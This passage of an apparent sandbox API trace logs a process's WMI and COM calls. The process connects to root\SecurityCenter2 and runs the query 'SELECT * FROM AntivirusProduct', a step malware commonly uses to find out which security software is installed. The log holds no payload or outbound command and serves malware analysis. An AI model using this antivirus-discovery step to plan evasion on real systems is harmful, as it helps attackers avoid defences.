[5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc0c8 | out: ppv=0x1b0bc0c8*=0x1b321220) returned 0x0 [0157.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1b321220, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc1b0 | out: ppvObject=0x1b0bc1b0*=0x0) returned 0x80004002 [0157.546] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b321220, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc188 | out: ppvObject=0x1b0bc188*=0x1b320e60) returned 0x0 [0157.546] WbemLocator:IUnknown:Release (This=0x1b321220) returned 0x0 [0157.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320e60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbf30 | out: ppvObject=0x1b0bbf30*=0x1b320e60) returned 0x0 [0157.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320e60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbfc0 | out: ppvObject=0x1b0bbfc0*=0x0) returned 0x80004002 [0157.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320e60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb7b8 | out: ppvObject=0x1b0bb7b8*=0x0) returned 0x80004002 [0157.546] WbemLocator:IUnknown:AddRef (This=0x1b320e60) returned 0x3 [0157.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320e60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb678 | out: ppvObject=0x1b0bb678*=0x0) returned 0x80004002 [0157.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320e60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb600 | out: ppvObject=0x1b0bb600*=0x0) returned 0x80004002 [0157.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320e60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb5f0 | out: ppvObject=0x1b0bb5f0*=0x0) returned 0x80004002 [0157.546] CoGetContextToken (in: pToken=0x1b0bb6a0 | out: pToken=0x1b0bb6a0) returned 0x0 [0157.546] CoGetContextToken (in: pToken=0x1b0bbb20 | out: pToken=0x1b0bbb20) returned 0x0 [0157.547] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320e60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbbe0 | out: ppvObject=0x1b0bbbe0*=0x0) returned 0x80004002 [0157.547] WbemLocator:IUnknown:Release (This=0x1b320e60) returned 0x2 [0157.547] WbemLocator:IUnknown:Release (This=0x1b320e60) returned 0x1 [0157.547] CoGetContextToken (in: pToken=0x1b0bc560 | out: pToken=0x1b0bc560) returned 0x0 [0157.547] CoGetContextToken (in: pToken=0x1b0bc460 | out: pToken=0x1b0bc460) returned 0x0 [0157.547] WbemLocator:IUnknown:QueryInterface (in: This=0x1b320e60, riid=0x1b0bc5c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bc590 | out: ppvObject=0x1b0bc590*=0x1b320e60) returned 0x0 [0157.547] WbemLocator:IUnknown:AddRef (This=0x1b320e60) returned 0x3 [0157.547] WbemLocator:IUnknown:Release (This=0x1b320e60) returned 0x2 [0157.547] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2c80, puCount=0x1b0bc998 | out: puCount=0x1b0bc998*=0x2) returned 0x0 [0157.547] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=8, puBuffLength=0x1b0bc990*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc990*=0x19, pszText=0x0) returned 0x0 [0157.547] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=8, puBuffLength=0x1b0bc990*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bc990*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.547] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0bc6d0 | out: ppv=0x1b0bc6d0*=0x1b320e80) returned 0x0 [0157.547] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b320e80, strNetworkResource="\\\\.\\root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0bc858 | out: ppNamespace=0x1b0bc858*=0x1b341310) returned 0x0 [0157.581] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341310, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc548 | out: ppvObject=0x1b0bc548*=0x1b352380) returned 0x0 [0157.581] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b352380, pProxy=0x1b341310, pAuthnSvc=0x1b0bc610, pAuthzSvc=0x1b0bc590, pServerPrincName=0x1b0bc5b8, pAuthnLevel=0x1b0bc594, pImpLevel=0x1b0bc5a0, pAuthInfo=0x1b0bc5c8, pCapabilites=0x1b0bc5a4 | out: pAuthnSvc=0x1b0bc610*=0xa, pAuthzSvc=0x1b0bc590*=0x0, pServerPrincName=0x1b0bc5b8, pAuthnLevel=0x1b0bc594*=0x6, pImpLevel=0x1b0bc5a0*=0x2, pAuthInfo=0x1b0bc5c8, pCapabilites=0x1b0bc5a4*=0x1) returned 0x0 [0157.581] WbemLocator:IUnknown:Release (This=0x1b352380) returned 0x1 [0157.581] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341310, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc4e0 | out: ppvObject=0x1b0bc4e0*=0x1b3523c8) returned 0x0 [0157.581] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341310, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc4f0 | out: ppvObject=0x1b0bc4f0*=0x1b352380) returned 0x0 [0157.581] WbemLocator:IClientSecurity:SetBlanket (This=0x1b352380, pProxy=0x1b341310, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.581] WbemLocator:IUnknown:Release (This=0x1b352380) returned 0x2 [0157.581] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x1 [0157.581] CoTaskMemFree (pv=0x1b33efd0) [0157.582] WbemLocator:IUnknown:Release (This=0x1b320e80) returned 0x0 [0157.582] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341310, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbfe0 | out: ppvObject=0x1b0bbfe0*=0x1b3523c8) returned 0x0 [0157.582] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc070 | out: ppvObject=0x1b0bc070*=0x0) returned 0x80004002 [0157.582] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbc90 | out: ppvObject=0x1b0bbc90*=0x0) returned 0x80004002 [0157.583] WbemLocator:IUnknown:QueryInterface (in: This=0x1b341310, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb868 | out: ppvObject=0x1b0bb868*=0x0) returned 0x80004002 [0157.583] WbemLocator:IUnknown:AddRef (This=0x1b3523c8) returned 0x3 [0157.583] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb728 | out: ppvObject=0x1b0bb728*=0x0) returned 0x80004002 [0157.583] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb6b0 | out: ppvObject=0x1b0bb6b0*=0x0) returned 0x80004002 [0157.583] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb6a0 | out: ppvObject=0x1b0bb6a0*=0x1b3522a8) returned 0x0 [0157.584] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3522a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb6c8 | out: pCid=0x1b0bb6c8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.584] WbemLocator:IUnknown:Release (This=0x1b3522a8) returned 0x3 [0157.584] CoGetContextToken (in: pToken=0x1b0bb750 | out: pToken=0x1b0bb750) returned 0x0 [0157.584] CoGetContextToken (in: pToken=0x1b0bbbd0 | out: pToken=0x1b0bbbd0) returned 0x0 [0157.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbc90 | out: ppvObject=0x1b0bbc90*=0x1b352390) returned 0x0 [0157.584] WbemLocator:IRpcOptions:Query (in: This=0x1b352390, pPrx=0x1b3523c8, dwProperty=2, pdwValue=0x1b0bbc80 | out: pdwValue=0x1b0bbc80) returned 0x80004002 [0157.584] WbemLocator:IUnknown:Release (This=0x1b352390) returned 0x3 [0157.584] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x2 [0157.584] CoGetContextToken (in: pToken=0x1b0bc290 | out: pToken=0x1b0bc290) returned 0x0 [0157.584] CoGetContextToken (in: pToken=0x1b0bc190 | out: pToken=0x1b0bc190) returned 0x0 [0157.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x1b0bc2f0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0bc2c0 | out: ppvObject=0x1b0bc2c0*=0x1b341310) returned 0x0 [0157.584] WbemLocator:IUnknown:AddRef (This=0x1b341310) returned 0x4 [0157.584] WbemLocator:IUnknown:Release (This=0x1b341310) returned 0x3 [0157.584] WbemLocator:IUnknown:Release (This=0x1b341310) returned 0x2 [0157.584] SysStringLen (param_1=0x0) returned 0x0 [0157.584] CoGetContextToken (in: pToken=0x1b0bc3d0 | out: pToken=0x1b0bc3d0) returned 0x0 [0157.584] WbemLocator:IUnknown:AddRef (This=0x1b3523c8) returned 0x3 [0157.584] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc3d0 | out: ppvObject=0x1b0bc3d0*=0x1b3523c8) returned 0x0 [0157.585] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x3 [0157.585] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x2 [0157.585] CoGetContextToken (in: pToken=0x1b0bc500 | out: pToken=0x1b0bc500) returned 0x0 [0157.585] WbemLocator:IUnknown:AddRef (This=0x1b341310) returned 0x3 [0157.585] IWbemServices:ExecQuery (in: This=0x1b341310, strQueryLanguage="WQL", strQuery="SELECT * FROM AntivirusProduct", lFlags=16, pCtx=0x0, ppEnum=0x1b0bc9a8 | out: ppEnum=0x1b0bc9a8*=0x1b315e50) returned 0x0 [0157.622] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc678 | out: ppvObject=0x1b0bc678*=0x1b315e58) returned 0x0 [0157.623] IClientSecurity:QueryBlanket (in: This=0x1b315e58, pProxy=0x1b315e50, pAuthnSvc=0x1b0bc740, pAuthzSvc=0x1b0bc6c0, pServerPrincName=0x1b0bc6e8, pAuthnLevel=0x1b0bc6c4, pImpLevel=0x1b0bc6d0, pAuthInfo=0x1b0bc6f8, pCapabilites=0x1b0bc6d4 | out: pAuthnSvc=0x1b0bc740*=0xa, pAuthzSvc=0x1b0bc6c0*=0x0, pServerPrincName=0x1b0bc6e8, pAuthnLevel=0x1b0bc6c4*=0x6, pImpLevel=0x1b0bc6d0*=0x2, pAuthInfo=0x1b0bc6f8, pCapabilites=0x1b0bc6d4*=0x1) returned 0x0 [0157.623] IUnknown:Release (This=0x1b315e58) returned 0x1 [0157.623] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc610 | out: ppvObject=0x1b0bc610*=0x1b351528) returned 0x0 [0157.623] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc620 | out: ppvObject=0x1b0bc620*=0x1b315e58) returned 0x0 [0157.623] IClientSecurity:SetBlanket (This=0x1b315e58, pProxy=0x1b315e50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.625] IUnknown:Release (This=0x1b315e58) returned 0x2 [0157.625] WbemLocator:IUnknown:Release (This=0x1b351528) returned 0x1 [0157.625] CoTaskMemFree (pv=0x1b33f120) [0157.626] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc0e0 | out: ppvObject=0x1b0bc0e0*=0x1b351528) returned 0x0 [0157.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351528, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc170 | out: ppvObject=0x1b0bc170*=0x0) returned 0x80004002 [0157.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351528, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbd90 | out: ppvObject=0x1b0bbd90*=0x0) returned 0x80004002 [0157.627] IUnknown:QueryInterface (in: This=0x1b315e50, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb968 | out: ppvObject=0x1b0bb968*=0x0) returned 0x80004002 [0157.627] WbemLocator:IUnknown:AddRef (This=0x1b351528) returned 0x3 [0157.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351528, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb828 | out: ppvObject=0x1b0bb828*=0x0) returned 0x80004002 [0157.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351528, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb7b0 | out: ppvObject=0x1b0bb7b0*=0x0) returned 0x80004002 [0157.627] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351528, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb7a0 | out: ppvObject=0x1b0bb7a0*=0x1b351408) returned 0x0 [0157.628] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351408, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb7c8 | out: pCid=0x1b0bb7c8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.628] WbemLocator:IUnknown:Release (This=0x1b351408) returned 0x3 [0157.628] CoGetContextToken (in: pToken=0x1b0bb850 | out: pToken=0x1b0bb850) returned 0x0 [0157.628] CoGetContextToken (in: pToken=0x1b0bbcd0 | out: pToken=0x1b0bbcd0) returned 0x0 [0157.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351528, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd90 | out: ppvObject=0x1b0bbd90*=0x1b3514f0) returned 0x0 [0157.628] WbemLocator:IRpcOptions:Query (in: This=0x1b3514f0, pPrx=0x1b351528, dwProperty=2, pdwValue=0x1b0bbd80 | out: pdwValue=0x1b0bbd80) returned 0x80004002 [0157.628] WbemLocator:IUnknown:Release (This=0x1b3514f0) returned 0x3 [0157.628] WbemLocator:IUnknown:Release (This=0x1b351528) returned 0x2 [0157.628] CoGetContextToken (in: pToken=0x1b0bc390 | out: pToken=0x1b0bc390) returned 0x0 [0157.628] CoGetContextToken (in: pToken=0x1b0bc290 | out: pToken=0x1b0bc290) returned 0x0 [0157.628] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351528, riid=0x1b0bc3f0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc3c0 | out: ppvObject=0x1b0bc3c0*=0x1b315e50) returned 0x0 [0157.628] IUnknown:AddRef (This=0x1b315e50) returned 0x4 [0157.629] IUnknown:Release (This=0x1b315e50) returned 0x3 [0157.629] IUnknown:Release (This=0x1b315e50) returned 0x2 [0157.629] WbemLocator:IUnknown:Release (This=0x1b341310) returned 0x2 [0157.629] SysStringLen (param_1=0x0) returned 0x0 [0157.629] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2c80, puCount=0x1b0bc9e8 | out: puCount=0x1b0bc9e8*=0x2) returned 0x0 [0157.629] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bc9e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc9e0*=0x19, pszText=0x0) returned 0x0 [0157.629] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bc9e0*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bc9e0*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.629] CoGetContextToken (in: pToken=0x1b0bc560 | out: pToken=0x1b0bc560) returned 0x0 [0157.629] IUnknown:AddRef (This=0x1b315e50) returned 0x3 [0157.629] IEnumWbemClassObject:Clone (in: This=0x1b315e50, ppEnum=0x1b0bc960 | out: ppEnum=0x1b0bc960*=0x1b34c270) returned 0x0 [0157.630] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc6e8 | out: ppvObject=0x1b0bc6e8*=0x1b34c278) returned 0x0 [0157.631] IClientSecurity:QueryBlanket (in: This=0x1b34c278, pProxy=0x1b34c270, pAuthnSvc=0x1b0bc7b0, pAuthzSvc=0x1b0bc730, pServerPrincName=0x1b0bc758, pAuthnLevel=0x1b0bc734, pImpLevel=0x1b0bc740, pAuthInfo=0x1b0bc768, pCapabilites=0x1b0bc744 | out: pAuthnSvc=0x1b0bc7b0*=0xa, pAuthzSvc=0x1b0bc730*=0x0, pServerPrincName=0x1b0bc758, pAuthnLevel=0x1b0bc734*=0x6, pImpLevel=0x1b0bc740*=0x2, pAuthInfo=0x1b0bc768, pCapabilites=0x1b0bc744*=0x1) returned 0x0 [0157.631] IUnknown:Release (This=0x1b34c278) returned 0x1 [0157.631] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc680 | out: ppvObject=0x1b0bc680*=0x1b352568) returned 0x0 [0157.631] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc690 | out: ppvObject=0x1b0bc690*=0x1b34c278) returned 0x0 [0157.631] IClientSecurity:SetBlanket (This=0x1b34c278, pProxy=0x1b34c270, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.634] IUnknown:Release (This=0x1b34c278) returned 0x2 [0157.634] WbemLocator:IUnknown:Release (This=0x1b352568) returned 0x1 [0157.634] CoTaskMemFree (pv=0x1b33f270) [0157.634] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc140 | out: ppvObject=0x1b0bc140*=0x1b352568) returned 0x0 [0157.634] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc1d0 | out: ppvObject=0x1b0bc1d0*=0x0) returned 0x80004002 [0157.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbdf0 | out: ppvObject=0x1b0bbdf0*=0x0) returned 0x80004002 [0157.635] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb9c8 | out: ppvObject=0x1b0bb9c8*=0x0) returned 0x80004002 [0157.636] WbemLocator:IUnknown:AddRef (This=0x1b352568) returned 0x3 [0157.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb888 | out: ppvObject=0x1b0bb888*=0x0) returned 0x80004002 [0157.636] 